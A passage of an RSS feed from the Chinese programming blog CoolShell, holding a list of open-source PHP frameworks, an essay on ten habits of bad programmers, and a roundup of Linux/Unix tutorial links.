target=\"_blank\">Fuse</a></h3>\n<p><img decoding=\"async\" loading=\"lazy\" title=\"fuse\" src=\"http://www.webdesignbooth.com/wp-content/uploads/2009/06/fuse.png\" alt=\"fuse\" width=\"500\" height=\"84\" /><br />\nFUSE 也是一个MVC的PHP框架。其注是要受到了Ruby on Rails 和CakePHP的影响，其有定制和直接的设计。FUSE 是一个功能完整，相当稳定的使用面向对像开发的MVC框架。</p>\n<h3>9. <a title=\"Yii PHP Framework\" href=\"http://www.yiiframework.com/\" target=\"_blank\">Yii PHP Framework</a></h3>\n<p><img decoding=\"async\" loading=\"lazy\" title=\"yii\" src=\"http://www.webdesignbooth.com/wp-content/uploads/2009/06/yii.png\" alt=\"yii\" width=\"500\" height=\"57\" /><br />\nYii 是一个高性能的组件式的PHP框架，对于那些大型的Web应用来说，这是最好的框架，全面的功能。但需要PHP5及以上版的支持。</p>\n<h3>10. <a title=\"Akelos PHP Framework\" href=\"http://www.akelos.org/\" target=\"_blank\">Akelos PHP Framework</a></h3>\n<p><img decoding=\"async\" loading=\"lazy\" title=\"akelos\" src=\"http://www.webdesignbooth.com/wp-content/uploads/2009/06/akelos.png\" alt=\"akelos\" width=\"500\" height=\"108\" /><br />\nAkelos PHP 框架也是基于 MVC (Model View Controller) 设计模式的框架。</p>\n<h2>其它可选的 PHP 框架</h2>\n<p>11. <a title=\"Recess\" href=\"http://www.recessframework.org/\" target=\"_blank\">Recess</a><br />\n12. <a title=\"Agavi\" href=\"http://www.agavi.org/\" target=\"_blank\">Agavi</a><br />\n13. <a title=\"Qcodo\" href=\"http://www.qcodo.com/\" target=\"_blank\">Qcodo</a><br />\n14. <a title=\"Zoop\" href=\"http://zoopframework.com/\" target=\"_blank\">Zoop</a><br />\n15. <a title=\"QPHP\" href=\"http://qphp.net/\" target=\"_blank\">QPHP</a><br />\n16. <a title=\"Seagull\" href=\"http://seagullproject.org/\" target=\"_blank\">Seagull PHP</a><br />\n17. <a title=\"PHPDevShell\" href=\"http://www.phpdevshell.org/\" target=\"_blank\">PHPDevShell<br />\n</a>18. <a title=\"PHPOpenBiz\" href=\"http://www.phpopenbiz.org/\" target=\"_blank\">PHPOpenBiz</a><br />\n19. <a title=\"WASP\" href=\"http://wasp.sourceforge.net/content/\" target=\"_blank\">WASP</a><br />\n20. <a title=\"evoCore\" href=\"http://evocore.net/\" target=\"_blank\">evoCore</a><br />\n21. <a title=\"Lion\" href=\"http://www.lionframework.org/\" target=\"_blank\">Lion</a><br />\n22. <a title=\"Flow3\" href=\"http://flow3.typo3.org/\" target=\"_blank\">Flow3</a></p>\n<p>文章：<a href=\"http://www.webdesignbooth.com/22-open-source-php-frameworks-to-shorten-your-development-time/\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/muxnt-150x150.jpg\" alt=\"代码执行的效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_title\">代码执行的效率</a></li><li ><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/image008-150x150.jpg\" alt=\"一些文章和各种资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_title\">一些文章和各种资源</a></li><li ><a href=\"https://coolshell.cn/articles/5160.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/08/Pagination-e1312791884744-150x150.jpg\" alt=\"PHP分页技术的代码和示例\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5160.html\" class=\"wp_rp_title\">PHP分页技术的代码和示例</a></li><li ><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"开源中最好的Web开发的资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_title\">开源中最好的Web开发的资源</a></li><li ><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg\" alt=\"Web开发人员速查卡\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3684.html\" class=\"wp_rp_title\">Web开发人员速查卡</a></li><li ><a href=\"https://coolshell.cn/articles/2394.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" alt=\"九个PHP很有用的功能\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2394.html\" class=\"wp_rp_title\">九个PHP很有用的功能</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1086.html\">22个开源的PHP框架</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1086.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>7</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>十个让你变成糟糕的程序员的行为</title>\n\t\t<link>https://coolshell.cn/articles/1081.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1081.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 24 Jun 2009 15:02:36 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[职场生涯]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1081</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>之前本站发表过《优秀程序员的十个习惯》以及《程序员需要具备的基本技能》，那是我们需要去学习和培养的。这里，我们主要讨论十个糟糕程序员的特征，主要是需要让我们去避...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1081.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1081.html\">十个让你变成糟糕的程序员的行为</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>之前本站发表过《<a href=\"https://coolshell.cn/articles/222.html\" target=\"_blank\">优秀程序员的十个习惯</a>》以及《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/428.html\">程序员需要具备的基本技能</a>》，那是我们需要去学习和培养的。这里，我们主要讨论十个糟糕程序员的特征，主要是需要让我们去避免和小心的。</p>\n<p><strong>1) 情绪化的思维</strong></p>\n<p>如果你开始使用不同颜色的眼光来看待这个世界的话，那么你可能会成为一个很糟糕的程序员。情绪化的思维或态度很有可能会把自己变成一个怪物。相信你经常可以看到很多很糟糕的程序会使用下面的这些语句：</p>\n<ul>\n<li>我的程序不可能有这种问题。</li>\n<li>Java就是shit。</li>\n<li>我最恨的就是使用UML做设计。</li>\n<li>需求怎么老在变，没办干了。</li>\n<li>受不了这些人，他们到底懂不懂啊。</li>\n<li>…… ……</li>\n</ul>\n<p>这些带着情绪化的思维和态度，不但可以让你成为一个很糟糕的程序员，甚至可以影响你的前途。因为，情绪化通常都是魔鬼，会让你做出错误的判断和决定，错误码率的判断和决定直接决定了你的人生。</p>\n<p><span id=\"more-1081\"></span></p>\n<p><strong>2) 怀疑别人</strong></p>\n<p>糟糕的程序总是说：“我的代码一定是正确的，我怀疑编译器有问题”，“我这应该没有问题吧，STL库怎么这么难用啊”。我曾经见过有程序员这样使用STL类：map&lt;char*, char*&gt;，当他发现这样放入字符串后却取不出来，觉得那是STL库的BUG，然后自己写了一个map！我的天啊！</p>\n<p>某些时候，过早的下结论是一个很不好的习惯，任何事情都有其原因，只有知道了原因，你才能知道是谁的问题。一般来说，总是自己出的问题。</p>\n<p><strong>3) 过多关注实现，陷入问题细节</strong></p>\n<p>有些时候，当我们面对一个问题或是一个需求的时候，糟糕的程序员总是会马上去找一个解决方案或是实现，这是一个很不好的习惯。设计模式告诉我们，“喜欢接口，而不是实现”就是告诉我们，认清问题的本质和特性要比如何实现更重要。</p>\n<ul>\n<li>对于一个客户的问题来说，首先应该想到的是如何先让用户正常工作，如何恢复正在“流血”的系统，而不是把用户放在一边而去分析问题的原因和解决方案。</li>\n<li>对于解决一个bug来说，重现bug，了解原来程序的意图是首先重要的事，而不是马上去修改代码，否则必然会引入更多的BUG。</li>\n<li>对于一个需求来说，我们需要了解的需求后面的商业背景，use case和真实意图，而不是去讨论如何实现。只有了解了用户的真实意图，实际使用的方式和案例，你才能真正如果去做设计。</li>\n</ul>\n<p>糟糕的程序总是容易陷入细节，争论于如何实现和实现难题，以及问题的根本原因，而忽略了比这些更重要的东西。只有看懂了整个地图，我们才知道要怎么去走。</p>\n<p><strong>4) 使用并不熟悉的代码</strong></p>\n<p>糟糕的程序员最好的朋友是 Ctrl-C 和 Ctrl-V ，有些时候，他们并不知道代码的确切含义，就开始使用它，有证据表明，由拷贝粘贴引发的bug占了绝大多数。因为，代码总是只能在特定的环境下才能正常地工作，如果代码的上下文改变了，很有可能使得代码产生很多你不知道的行为，当你连代码都控制不住了，你还能编出什么好的程序呢？</p>\n<p><strong>5) 拼命工作而不是聪明的工作</strong></p>\n<p>对于糟糕的程序员，我们总是能看到他们拼命地修正他们的bug，总是花非常多时间并重复地完成某一工作。而好的程序可能会花双倍的时间来准备一个有效的开发环境，工具，以及在开发的时候花双倍甚至10倍的时间来避免一些错误。好的程序员总是会利用一切工具或手段来让自己的工作变得更有效率，总是为在开发的时候尽可能得不出错。后期出错的成本将会是巨大的，而且那时改正错误的压力也是巨大的。所以，糟糕的程序通常会让自己进入一种恶性循环，他们看上去总是疲惫的，总是很辛苦的，所以更没有时间来改善，越没有时间来改善，就有越多的问题。所以，拼命工作有些时候可能表明你不是一个好的程序员。</p>\n<p><strong>6) 总是在等待、找借口以及抱怨</strong></p>\n<p>当需求不明确的时候，当环境不是很满意的时候，他们总是在等待别人的改善。出现问题的时候，总是在找借口，或是抱怨这也不好，那也不好，所以自己当然就没有做好。糟糕的程序员总是希望自己的所处的环境是最好的，有明确的需求，有非常不错的开发环境，有足够的时间，有不错的QA，还有很强的team leader，以及体贴自己的经理，有足够的培训，有良好的讨论，有别人强有力的支持……，这是一种“饭来张口，衣来伸手”的态度，这个世界本来就不完美，一个团队需要所有人去奋斗，况且，如果什么都变得完美了，那么，你的价值何在吗？driving instead of waiting, leading instead of following.</p>\n<p><strong>7) 滋生办公室政治</strong></p>\n<p>有句话叫“丑女多作怪”，意思是说如果一个自己没有真实的能力的话，那么他一定会在其它方面作文章。糟糕的程序员也是这样，如果他们程序编不好的话，比不过别人的话，他们通常会去靠指责别人，推脱责任，或是排挤有能力的人，等等不正常的手段来保全自己。所以，糟糕的程序通常伴随着办公室政治。</p>\n<p><strong>8 ) 说得多做得少</strong></p>\n<p>糟糕的程序员总是觉得自己什么都懂，他们并不会觉得自己的认识和知识都是有限的。这就是所谓的夸夸其谈，是的，什么都做不好的程序员能靠什么混日子呢？就是吹啊吹啊。</p>\n<p>另一个表现方式是他们在评论起别人的程序或是设计，总是能挑出一堆毛病，但自己的程序写得也很烂。总是批评抱怨，而没有任何有建设性的意见，或是提出可行的解决方案。</p>\n<p>这些糟糕的程序员，总是喜欢以批评别人的程序而达到显示自己的优秀。</p>\n<p><strong>9) 顽固</strong></p>\n<p>当你给出一打证据说明那里有一个更好的方案，那里有一个更好的方向的时候，他们总是会倔强的认为他们自己的做法才是最好的。一个我亲身经历的事例就是，当我看到一个新来的程序员在解决一个问题的时候走到了错误的方向上时，我提醒他，你可能走错了，应该是另外那边，并且我证明了给他看还有一个更为简单的方法，有。然而，这位程序员却告诉我，“那是我的方法，我一定要把之走下去，不然我会非常难受”，于是，在三天后的代码评审中，在经过顽固地解释以及一片质疑声中，他不得不采用了我最先告诉他的那个方法。</p>\n<p>这些程序员，从来不会去想，也不会去找人讨论还有没有更好的方法，而是坚持自己的想法，那怕是条死路都一往直前，不撞南墙永不回头。</p>\n<p><strong>10) 写“聪明”的代码</strong></p>\n<p>他们写出来的代码需要别的同事查看程序语言参考手册，或是其程序的逻辑或是风格看上去相当时髦，但却非常难读。代码本应该简洁和易读，而他们喜欢在代码中表现自己，并尝试另类的东西，以显示自己的才气。是的，只有能力有问题的程序员才需要借助这样的显示。</p>\n<p>记得以前的一个经历，一位英语很不错的程序员加入公司，本来对我们这些英语二把刀来说，我们喜欢看到的是简单和易读的英文文档，然后，那位老兄为了展示他的英语如何牛，使用了很多GRE中比较生僻的短语和词汇。让大家阅读得很艰苦。最有讽刺意味的是，有一位native的美国人后来在其邮件中询问他某个单词的意思。呵呵。</p>\n<p>你是一个糟糕的程序员吗？欢迎你分享你的经历。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1081.html\">十个让你变成糟糕的程序员的行为</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1081.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>66</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Linux/Unix 新手和专家教程</title>\n\t\t<link>https://coolshell.cn/articles/1042.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1042.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sun, 21 Jun 2009 02:37:53 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[ebook]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<category><![CDATA[Unix]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1042</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>你正在找一些高质量的Linux 和 UNIX 的教程吗？如果是，这篇文章会告诉你到哪去找到这些教程。这里我们将给出超过30个相当的不错的 Linux 和 UNI...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1042.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1042.html\">Linux/Unix 新手和专家教程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><em><img decoding=\"async\" loading=\"lazy\" class=\"alignright\" src=\"http://educhoices.org/cimages/multimages/1/linux_tutorials.jpg\" alt=\"Linux\" width=\"192\" height=\"147\" /></em>你正在找一些高质量的Linux 和 UNIX 的教程吗？如果是，这篇文章会告诉你到哪去找到这些教程。这里我们将给出超过30个相当的不错的 Linux 和 UNIX 在线的教程。</p>\n<p>需要大家注意的是，他们都是英文的，也许有一些也经被翻译到了中文社区，你可以搜索一下。但不管怎么样，我的建议是应该尽可能的去阅读英文。</p>\n<p> <span id=\"more-1042\"></span></p>\n<h2 id=\"section--LinuxAndUNIXTrainingForBeginners\">Linux 和UNIX 的新手培训教程</h2>\n<p> </p>\n<h3 id=\"section--FreeLinuxTutorialsForBeginners\">免费的新手Linux教程</h3>\n<p> </p>\n<ul>\n<li><a href=\"http://www.ibm.com/developerworks/linux/newto/\">Introduction to Linux</a> &#8211; 这是来自IBM的教程，用于给那些想学习Linux的人。</li>\n<li><a href=\"http://linux.about.com/c/ec/1.htm\">Linux Desktop 101</a> &#8211; 这是一个 14周 课时的教程，主要用于学校里教学生如何在一个PC上运行一个Linux操作系统。</li>\n<li><a href=\"http://tldp.org/LDP/intro-linux/html/index.html\">Hands-On Introduction to Linux</a> &#8211; Machtelt Garrels 的一个格式相当不错的教程。</li>\n<li><a href=\"http://www.isd.mel.nist.gov/projects/rtlinux/rtutorial-2.0/doc/tutorial.htm\">Real Time Linux Introduction</a> &#8211; 一系列的介绍Linux的教程，来自National Institute of Standards and Technology.</li>\n<li><a href=\"http://www.linux.org/lessons/beginner/index.html\">Getting Started with Linux</a> &#8211; 来自Linux Online 的20课时的用于新手的教程。</li>\n<li><a href=\"http://learnlinux.tsf.org.za/courses/web-fundamentals.html\">Linux Fundamentals Course</a> &#8211; 一个相当不错的基础教程，大约使用18个小时，让你知道Linux操作系统的最基础的知识。</li>\n<li><a href=\"http://www.beginlinux.org/course/view.php?id=15\">The 35-Command Tutorial</a> &#8211; 来自BeginLinux.org 的一个最简单的教程，教你使用 35 个Linux用户必需了解的命令。</li>\n<li><a href=\"http://ocw.novell.com/novell-linux-desktop/getting-started-with-novell-linux-desktop\">Getting Started with Linux Desktop</a> &#8211; Novell的自学教程。</li>\n</ul>\n<p> </p>\n<h3 id=\"section--FreeUNIXTutorialsForBeginners\">免费的UNIX 新手教程</h3>\n<p> </p>\n<ul>\n<li><a href=\"http://www.ee.surrey.ac.uk/Teaching/Unix/\">UNIX Tutorial for Beginners</a> &#8211; 来自The University of Surrey的新手指南，告诉你Unix系统最基本的特性。</li>\n<li><a href=\"http://snap.nlc.dcccd.edu/learn/idaho/unixindex.html\">A Basic UNIX Tutorial</a> &#8211; 这是来自 Idaho State University 教程，主要用于Unix计算的基础，其中有一些很不错的示例和练习。</li>\n<li><a href=\"http://www.devdaily.com/unix/unix-dnld.shtml\">UNIX Training Manual</a> &#8211; 这是一个 88页 的培训手册，主要用一些示例来教一个Unix文件系统的相关的命令。严格说来，这并不是一个教程，但也很有用。</li>\n<li><a href=\"http://www.mcsr.olemiss.edu/unixhelp/commanz/index.html\">UNIX Command Tutorial</a> &#8211; 来自University of Mississippi 的教学生如果使用Unix命令和操作系统交互的课程。</li>\n<li><a href=\"http://www.softlookup.com/tutorial/Unix/index.asp\">Learn UNIX Tutorial</a> &#8211; Soft Lookup 的一个全面的 UNIX 教程，完全可以让你从一个新手变成一个高手。</li>\n<li><a href=\"http://heather.cs.ucdavis.edu/~matloff/UnixAndC/Unix/UnixBareMn.pdf\">UNIX &#8211; The Bare Minimum</a> &#8211; 来自 UC Davis 教授，提供了一个简单的UNIX介绍。</li>\n<li><a href=\"http://www.upscale.utoronto.ca/GeneralInterest/Harrison/LearnLinux/\">Learning About UNIX</a> &#8211; 来自University of Toronto，提供了一些UNIX 和Linux 课程笔记。这个课程关注于UNIX 和Linux 工具。</li>\n<li><a href=\"http://www.unix-manuals.com/tutorials/unix/unix.html\">What is UNIX?</a> &#8211; 这个教程提供了一个简单的Unix介绍，以及一个初学者的论坛。</li>\n</ul>\n<p> </p>\n<h2 id=\"section--LinuxAndUNIXTrainingForExperts\">Linux 和 UNIX 专家培训教程</h2>\n<p> </p>\n<h3 id=\"section--FreeLinuxTutorialsForExperts\">免费的Linux高手教程</h3>\n<p> </p>\n<ul>\n<li><a href=\"http://www.linux.org/lessons/advanced/index.html\">Linux Online&#8217;s Course for Advanced Users</a> &#8211; 这是一个来自Linux Online的高级教程，提供了一系Linux最流行的How-To文档。主要是给那些想了解更多关于Linux安装，配置和维护的人。</li>\n<li><a href=\"http://www.linuxtraining.co.uk/download/new_linux_course_modules.pdf\">Linux System Administration Course</a> &#8211; 通过28个课程为Linux系统管理员提供了一个全面的教程。</li>\n<li><a href=\"http://www.howtoforge.com/howtos/linux/kernel\">Kernel Tutorials</a> &#8211; 这是在HowToForge上的一个内核级的教程，这个教程相当不错，如果你要了解Linux的内核，你不能错过这个教程。</li>\n<li><a href=\"http://lartc.org/lartc.html\">Advanced Routing and Traffic Control Tutorial</a> &#8211; 一个关于Linux网络路由，过滤和传输的教程。</li>\n<li><a href=\"http://ocw.novell.com/suse-linux-enterprise\">Linux Enterprise Server Courses</a> &#8211; Novell Training Services 提供给高级用户的培训教程。</li>\n<li><a href=\"http://learnlinux.tsf.org.za/courses/web-net-admin.html\">Linux Network Administration Course</a> &#8211; 来自Shuttleworth Foundation的 Linux 网络管理员的基础课程。</li>\n<li><a href=\"http://www.advancedlinuxprogramming.com/\">Advanced Linux Programming</a> &#8211; 这是一本电子书可以免费下载。这本书主要教程序员们怎么在Linux下做软件和编程序。</li>\n<li><a href=\"http://www.ibm.com/developerworks/views/linux/libraryview.jsp?type_by=Tutorials\">IBM&#8217;s Technical Library</a> &#8211; IBM&#8217;s Technical Library 提供的一组给高级Linux用户的教程。</li>\n</ul>\n<p> </p>\n<h3 id=\"section--FreeUNIXTutorialsForExperts\">免费的UNIX高手教程</h3>\n<p> </p>\n<ul>\n<li><a href=\"http://www.ussg.iu.edu/UAU/uau.html\">UNIX for Advanced Users</a> &#8211; Indiana University的 UNIX Workstation Support Group 提供的一个相当不错的面对UNIX 高级用户的教程。</li>\n<li><a href=\"http://people.ischool.berkeley.edu/~kevin/unix-tutorial/\">Kevin Heard&#8217;s UNIX Tutorial</a> &#8211; Kevin Heard (UC Berkeley) 的一个相当相当不错的三部教程，从Unix的基础开始，以高级话题结束。</li>\n<li><a href=\"http://members.unine.ch/philippe.renard/unix2.html\">Advanced UNIX Commands</a> &#8211; 虽然这是一个命令例表，但他是一个相当不错的索引的速查手册。</li>\n<li><a href=\"http://users.actcom.co.il/~choo/lupg/tutorials/parallel-programming-theory/parallel-programming-theory.html\">Parallel Programming Tutorial</a> &#8211; 这个UNIX 教程面对的是Unix下的并行编程 Parallel Programming。</li>\n<li><a href=\"http://tldp.org/LDP/abs/html/\">Advanced Bash Scripting Guide</a> &#8211; 来自于Linux Document Project 的教程，一个shell编程由浅入深的教程。</li>\n<li><a href=\"http://www.vtc.com/products/Unix-Shell-Scripting-Advanced-tutorials.htm\">UNIX Shell Scripting Advanced</a> &#8211; VTC 有一组视频的 UNIX 的教程。而这一个是指导高级用户如何进行脚本编程。</li>\n<li><a href=\"http://heather.cs.ucdavis.edu/~matloff/UnixAndC/Unix/CShellII.pdf\">Advanced C Shell Programming</a> &#8211; 这是UC Davis 的教程，主要教使用如何使用C shell 和tcsh 进行脚本编程。</li>\n</ul>\n<p>文章：<a href=\"http://educhoices.org/articles/Useful_Tutorials_on_Linux_and_UNIX_for_Beginners_and_Experts_Alike.html\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" alt=\"Linux PID 1 和 Systemd\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_title\">Linux PID 1 和 Systemd</a></li><li ><a href=\"https://coolshell.cn/articles/12103.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/tux-fork-150x150.gif\" alt=\"vfork 挂掉的一个问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12103.html\" class=\"wp_rp_title\">vfork 挂掉的一个问题</a></li><li ><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/08/puzzle-150x150.png\" alt=\"谜题的答案和活动的心得体会\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_title\">谜题的答案和活动的心得体会</a></li><li ><a href=\"https://coolshell.cn/articles/9104.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/02/sed-superman-150x150.png\" alt=\"sed 简明教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9104.html\" class=\"wp_rp_title\">sed 简明教程</a></li><li ><a href=\"https://coolshell.cn/articles/9070.html\" class=\"wp_rp_thumbnail\"><img 